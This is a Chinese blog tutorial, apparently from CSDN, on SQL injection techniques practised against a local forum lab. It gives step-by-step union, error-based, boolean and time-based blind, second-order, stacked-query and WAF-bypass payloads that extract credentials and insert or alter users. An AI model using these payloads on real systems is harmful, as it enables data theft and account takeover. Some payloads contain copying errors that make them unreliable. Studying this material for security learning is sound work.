SQL 注入漏洞

目录

一、快速学习数据库

查询操作

二、SQL 注入简介与危害

三、SQL 注入实战

四、SQL 注入分类 

(1)Union 注入

适用条件

注入步骤

实战

1、判断是否有注入点

2、使用 order by 查询回显列数

 3.判断显示位置

4.获得数据库名字

5.获得数据库里面的表

6.获得数据库对应表中的所有字段

7.获得字段的数据 

(2)报错注入 

1、group by 重复键冲突

2、xpath 报错

3、updatexml 报错

(4)布尔盲注

实战

1.判断是否存在布尔注入

2.获得数据库名

3、获得数据库有哪些表

4.获得表有哪些字段

5.获得字段的真实内容

(5)延迟盲注

实战

1.判断是延迟注入点

 2.获得数据库名字

3. 获得表名

4.获得表的字段名

5.获得 users 表的第一行 name 字段的数据

(6)DNSlogs 盲注

(7)二次注入

实战

1、碰撞用户

2、注册新用户

(8)堆叠注入

实战

1:获取 user 表的字段数据

2:构建攻击语句

五、SQL 注入绕过

提交方式更改

特殊字符过滤

参数污染


 

一、快速学习数据库

数据库:存放数据的地方

查询操作

查询所有用户

select * from user;

查询用户为a的用户与密码:

select username, password from user where username ='a'

新增一个用户:

insert into `user` (id,username,password,cardid,tel,diamond) 
values (99,'yufu','666666','4301039xxxxxxx','19971712221',2000);

修改、删除、删除

//修改用户为 yufu 的用户的钻石增加 10000:
update `user` set diamond = diamond+10000 where username ='yufu' 
//删除用户为 yufu 的用户:
DELETE from user where username ='yufu'

二、SQL 注入简介与危害

什么是 SQL 注入

SQL 注入是一种常见的网络安全漏洞和攻击方式,它利用应用程序对用户输入数据的处理不当,使得攻击者能够在执行 SQL 查询时插入恶意的 SQL 代码。通过成功注入恶意代码,攻击者可以执行未经授权的数据库操作,获取敏感信息、篡改数据甚至完全破坏数据库危害

三、SQL 注入实战

链接:https://pan.baidu.com/s/1AnZiFkWthCjp7rJGJlpIww?pwd=jrry 
提取码:jrry 

在数据库中新建一个jrlt的数据库,将资料包中jrlt的代码拷贝到数据库中。

访问:localhost/bbs/

注册、登录、留言后点击留言板。

四、SQL 注入分类 

(1)Union 注入

union 查询注入是最基础的注入。在 SQL 中, UNION 操作符用于合并两个或多个select语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的select查询,并将结果追加到原始查询中。联合查询会“纵向”拼接两个或多个 select语句的结果。

适用条件

网页存在注入点,有回显。
需要满足 union 语句要求,即:
union 前后两个 select 的结果集应具有相同列数
union 前后两个 select 的结果集对应列应是相同数据类型

注入步骤

首先判断是否存在注入点及注入的类型。
使用 ORDER BY 查询列数、观察回显的位置。
获取数据库名。
获取数据库中的所有表名。
获取数据库的表中的所有字段名

实战
1、判断是否有注入点

更换 id 看到查询的是不同的数据 

2、使用 order by 查询回显列数

使用 order by 能获得当前查询有几个字段,为后面 union 提供依据

http://localhost/bbs/showmessage.php?id=1 order by 1

修改 order by 的数据,一直到 orde by 5

http://localhost/bbs/showmessage.php?id=1 order by 5

能得出结论,当前查询的字段为 4 个

 3.判断显示位置

http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,4

 可以看到 2,3,4 能正确回显,因此,只要在 2,3,4 处的位置写注入语句其中

id=-1 是让正确的语句不要干扰注入的语句导致 union 后的语句无法显示

4.获得数据库名字

以下语句能获得当前使用的数据库名

id=-1 union select 1,2,version(),database()

知道当前的数据库是 jrlt,也可以用下面的注入语句获得所有数据库名 

id=-1 union select 1,2,version(),(select group_concat(schema_name) 
from information_schema.schemata)
或者
id=-1 union select 1,2,version(),group_concat(schema_name) from
information_schema.schemata

group_concat用于将多行数据合并成一行的函数。单列多行变一行,否则当查询数据无法完全显示

information_schema是一个系统数据库,它是一个存储有关数据库结构和元数据的数据库。

  • tables:包含了数据库中所有表的信息,如表名、列数、行数等等。
  • columns:包含了数据库中所有表的列信息,如列名、数据类型、长度等等。
  • INDEXES:包含了数据库中所有表的索引信息,如索引名、索引类型、列名等等。
  • CONSTRAINTS:包含了数据库中所有表的约束信息,如主键、外键、唯一约束等等。

注:箭头地方有个空格!! 

5.获得数据库里面的表
?id=-1 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema='jrlt') 
或着
?id=-1 union select 1,2,3,group_concat(table_name) from information_schema.tableswhere table_schema='jrlt' 

  获得有哪些表

6.获得数据库对应表中的所有字段

获得 users 表里面有哪些字段

id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'

7.获得字段的数据 
?id=-1 union select 1,2,3,concat(name,':',password) from users limit 0,1

(2)报错注入 

概念

报错注入是利用网站的报错信息来带出我们想要的信息,就是在错误信息中执行sql 语句使用条件

考虑到成功率和时间成本比 union 成本高,需要数据库有错误信息,一般在union条件不能实施的时候,在查询,新增,修改能都使用

常用报错注入命令

1、group by 重复键冲突

(count()+floor()+rand()+group by 组合)就是利用 count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞。

?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from
information_schema.tables group by x)a)

解释(以下内容不需要完全理解)代码直接粘贴就行。

select 1: 让语法是正确的,返回 1 是 true 返回 0 是 false

from (……) a:这是个子查询(……)里面的内容为查询的数据,a 为这个数据的别名

count(*): information_schema.tables 按 x 分组后有多少条数据

group by:分组查询 分组的字段为 x

以下为字段 x 的解释
concat(0x5e,(select version() from information_schema.tables limit
0,1) ,0x5e,floor(rand(0)*2)

concat:为连接函数

0x5e:"^"符号的 16 进制,约定俗成,一般给程序使用

floor(rand()*2):floor()为向下取整;rand()为取 0~1 的随机数,*2 后返回的数据只可能是0 或 1

为什么会报错

rand(0) 为固定的随机数

rand()*2

select floor(rand(0)*2) from information_schema.`TABLES`

 插入临时表的时候会再进行次函数运算,这里的floorrand函数实际上是为了触发一个分组错误。在MySQL中,当GROUP BY子句中的字段包含不确定的值(如rand()的结果)时,可能会触发一个错误。

2、xpath 报错

输入命令报错并带回当前用户名

id=1 and extractvalue(1, concat(0x5c, (select version()),0x5c))

其中 extractvalue()函数语法、参数定义及作用如下:

从目标 XML 中返回包含所查询值的字符串

第一个参数:XML_document 是String 格式,为 XMIL 文档对象的名称。

第二个参数:XPath_string (Xpath 格式的字符串)。

3、updatexml 报错
?id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)
updatexml(xml_document,xpath_string,new_value)

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为Doc1

第二个参数: XPath_string (Xpath 格式的字符串),如果不了解 Xpath 语法,可以在网上查找教程。

第三个参数: new_value,String 格式,替换查找到的符合条件的数据

(4)布尔盲注

概念

当改变浏览器传给后台 SQL 的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用 union 联合查询注入与报错注入,这时候可以试试看能否使用布尔注入使用条件

一般情况下,当带入参数为真和假时,页面会有不同的反映,比如有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。

实战

http://localhost/bbs/showmessage.php?id=2

1.判断是否存在布尔注入

使用布尔条件,绕过真假不同条件的时候,页面有变化,可以考虑使用布尔注入

注:使用 union 或报错注入会更容易,这里只是通过案例学习

?id=2 and 1=1
?id=2 and 1=2
2.获得数据库名

a.获得数据库名字长度

?id=1 and length(database())<5
?id=1 and length(database())>2
?id=1 and length(database())=4

一步步尝试,最终知道当前数据库的长度为 4

b.获得数据库的名

可以使用 ASCII 码,甄别出数据库每一个字符

 数据库的名字一般都是 a-z,A-Z 组成,也可能出现数字、下划线等字符,当现在已经长度为4

?id=1 and ascii(substr(database(),1,1))<123 #122 为 z
?id=1 and ascii(substr(database(),1,1))>64 #65 为 A
?id=1 and ascii(substr(database(),1,1))>100 #true
?id=1 and ascii(substr(database(),1,1))>110 #false
?id=1 and ascii(substr(database(),1,1))=106 #j

同样方法

?id=1 and ascii(substr(database(),2,1))=114 #r
?id=1 and ascii(substr(database(),3,1))=108 #l
?id=1 and ascii(substr(database(),4,1))=116 #t

对数据库名称进行截取,取第一个字符,并将其转换为ASCII码值,然后与123进行比较。如果第一个字符的ASCII码值小于123,则返回true,否则返回false。

ubstr函数的参数有三个,分别是string(要截取的字符串)、start(开始截取的位置)、length(截取的长度)。

获得数据库的名字为 jrlt

?id=1 and database()='jrlt'
3、获得数据库有哪些表

a.获得数据库的表个数

?id=1 and (select count(table_name) from information_schema.tables where table_schema =database())<5
?id=1 and (select count(table_name) from information_schema.tables where table_schema =database())<2
?id=1 and (select count(table_name) from information_schema.tables where table_schema =database())=2

知道有 2 个表

b.获得某个表的长度

?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<5
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 8

获得第一个表的长度是 8

c.获得某个表名称

第一个字符

?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<120

#m
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=109

依次获得第一个表为 messages,同理获得第二表为 users

4.获得表有哪些字段

a.获得 user 表列数

?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5 

一步步测试,获得 users 表有 5 个字段

b.获得第一个字段的长度

?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<10
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<1
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2

c.获得第一个字段的名称

?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<100
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<110
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2,1))=100

获得第一个字段的名称是 id,同理可以获得其他字段 name,password,photo,money

5.获得字段的真实内容

a.获得 user 字段第一行数据的内容长度

?id=1 and (select LENGTH(name) from users LIMIT 0,1)=5

b.获得 user 字段第一行数据第一个字符内容

?id=1 and ascii(substr((select name from users limit 0,1),1,1))=97 # a
?id=1 and ascii(substr((select name from users limit 0,1),2,1))=100 # d

最终数据为 admin,同理获得密码

(5)延迟盲注

也称延时注入、时间注入等,这种注入方式在传给后台的参数中,设置了一个if 语句,当条件为真时执行 sleep 语句,条件为假时无执行语句,然后根据浏览器的响应时间来推测sleep语句是否被执行,进而推测 if 条件是否为真。
延时盲注与布尔盲注的核心思想都是通过浏览器两种不同的响应来推测输入的条件的真假,布尔盲注是条件真假时页面会有不同显示,延时盲注则是显示结果真假只能从响应时间上进行推测

使用条件
union,报错、布尔等搞不定的时候才考虑,效率极低

实战

http://localhost/bbs/showmessage.php?id=1

假设没有任何回显,union,报错,布尔注入都搞不定

1.判断是延迟注入点
?id=1 and sleep(5)

 2.获得数据库名字

a.获得数据库名字长度

?id=1 and if(length(database())<10,sleep(5),1)
?id=1 and if(length(database())<3,sleep(5),1)
?id=1 and if(length(database())=4,sleep(5),1)

获得长度为 4

b.获得数据库名第一个字符

?id=1 and if(ascii(substr(database(),1,1))=106,sleep(5),1) #j
?id=1 and if(ascii(substr(database(),2,1))=106,sleep(5),1) #r
?id=1 and if(ascii(substr(database(),3,1))=106,sleep(5),1) #l
?id=1 and if(ascii(substr(database(),4,1))=106,sleep(5),1) #t

得到数据库的名称为 jrlt

3. 获得表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))=109,sleep(5),1) //m
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),2,1))=101,sleep(5),1) //e
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),3,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),4,1))=115,sleep(5),1) //s
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),5,1))=97,sleep(5),1) //a

得到表名massages

4.获得表的字段名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where
table_name = 'users' limit 0,1),1,1))=105,sleep(5),1) //i
?id=1 and if(ascii(substr((select column_name from information_schema.columns where
table_name = 'users' limit 0,1),2,1))=100,sleep(5),1) //d

表的字段名id

5.获得 users 表的第一行 name 字段的数据
?id=1 and if(ascii(substr((select name from users limit 0,1),1,1))=97,sleep(5),1)
?id=1 and if(ascii(substr((select name from users limit 0,1),2,1))=100,sleep(5),1)
?id=1 and if(ascii(substr((select name from users limit 0,1),3,1))=109,sleep(5),1)
?id=1 and if(ascii(substr((select name from users limit 0,1),4,1))=105,sleep(5),1)
?id=1 and if(ascii(substr((select name from users limit 0,1),5,1))=1

(6)DNSlogs 盲注

DNSlog 盲注就是通过 load_file 函数发起请求,然后去 DNSlog 平台接收数据,需要用到 load_file 函数就是需要用到 root 用户读写文件的功能读写文件
这个需要有文件读取的权限,如果有着权限又不需要使用DNSlogs 来完成注入的

(7)二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL 查询语句中导致的注入

实战

http://localhost/bbs/

目前在数据库里面有一条姓名为 admin 密码为 admin 用户

1、碰撞用户

确认 admin 用户提示已经存在,可以攻击他

2、注册新用户

根据已经获得的 admin 用户注册新的的用户

admin'# 修改此账户密码时

查询数据发现自己的密码没变,但 admin 的密码被修改了

(8)堆叠注入

在 SQL 数据库中,每条语句是以;分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。 与 union 对比
union 联合查询注入执行的语句类型是有限的,可以用来执行查询语句。堆叠注入可以执行的是任意的语句,如增删改等;

实战

http://localhost/bbs/index.php

假设这是个内部论坛,注册功能不会对外开放,需要留言可以通过前面的方式获取其他用户的账号、密码

在这为讲知识点方便,选择新增一个用户

1:获取 user 表的字段数据

这个前面知识

?id=-1 union select 1,2,version(),database()
?id=-1 union select 1,2,version(), group_concat(table_name) from information_schema.tableswhere table_schema='jrlt'
?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns wheretable_name='users' and table_schema='jrlt'
?id=-1 union select 1,2,3,concat(name,':',password) from users limit 0,1
2:构建攻击语句

知道表名、数据的样貌,就可以构建新增语句了

?id=2;insert into users (name,password) values('luojie',md5('admin'));

代码 mysqli_multi_query 支持用于在一个请求中执行多个SQL查询, SQL,mysqli_query 不支持

注意:多语句执行受数据库类型、API 等限制,有的不能实现

五、SQL 注入绕过

提交方式更改

在注入的时候,根据 WAF 的规范,绕过是 get 方式,会对 union 进行过滤,这样可以思考更换提交方式

注:代码对不同的提交方式也能接受数据

特殊字符过滤

WAF 会对数据库的查询相关信息进行限制,POST 也限制了

http://localhost/bbs/showmessage.php
-- POST Data
id=-1 union select 1,2,3,database
id=-1 union select 1,2,3,()
不拦截 database,不拦截(),但会拦截 database()整体
/**/在 mysql 里面是注释
http://localhost/bbs/showmessage.php
-- POST Data
id=-1 union select 1,2,3,database/**/()

参数污染

  • 59
    点赞
  • 43
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值